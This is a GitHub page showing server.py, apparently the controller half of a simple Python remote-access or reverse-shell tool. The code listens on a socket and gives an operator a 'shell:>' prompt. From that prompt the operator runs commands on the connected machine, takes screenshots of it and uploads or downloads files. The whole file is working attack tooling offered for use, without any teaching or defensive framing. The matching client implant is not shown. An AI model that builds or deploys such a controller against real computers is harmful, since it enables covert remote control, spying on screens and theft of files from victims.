-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathserver.py
More file actions
60 lines (55 loc) · 1.47 KB
/
server.py
File metadata and controls
60 lines (55 loc) · 1.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import socket
import os
import time
ip="localhost"#Your address or this computer address
port=8080 #Port number you want to use
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((ip,port))
s.listen(1)
conn,addr=s.accept()
print("[+]Connected to %s on port:%s"%(addr,port))
def download(filename):
f=open(filename,"wb")
while True:
data=conn.recv(1024)
if b"DONE" == data:
break
else:
f.write(data)
print(data)
f.close()
print("done receving")
def upload(filename):
f=open(filename,"rb")
data=f.read(1024)
while (data):
conn.send(data)
data=f.read(1024)
f.close()
conn.send(b"DONE")
while True:
inp=input("shell:>")
if inp == "exit":
conn.send(b"exit")
conn.close()
elif inp.startswith("cd"):
conn.send(inp.encode())
elif inp.startswith("run="):
conn.send(inp.encode())
print((conn.recv(1024)).decode())
elif inp=="sc":
conn.send(b"screenshot")
download("sc.png")
elif inp.startswith("upload="):
conn.send((inp).encode())
time.sleep(1)
upload((inp[7:]))
elif inp.startswith("download="):
conn.send(inp.encode())
time.sleep(1)
download(inp[9:])
elif inp=="":
pass
else:
print("Enter right command")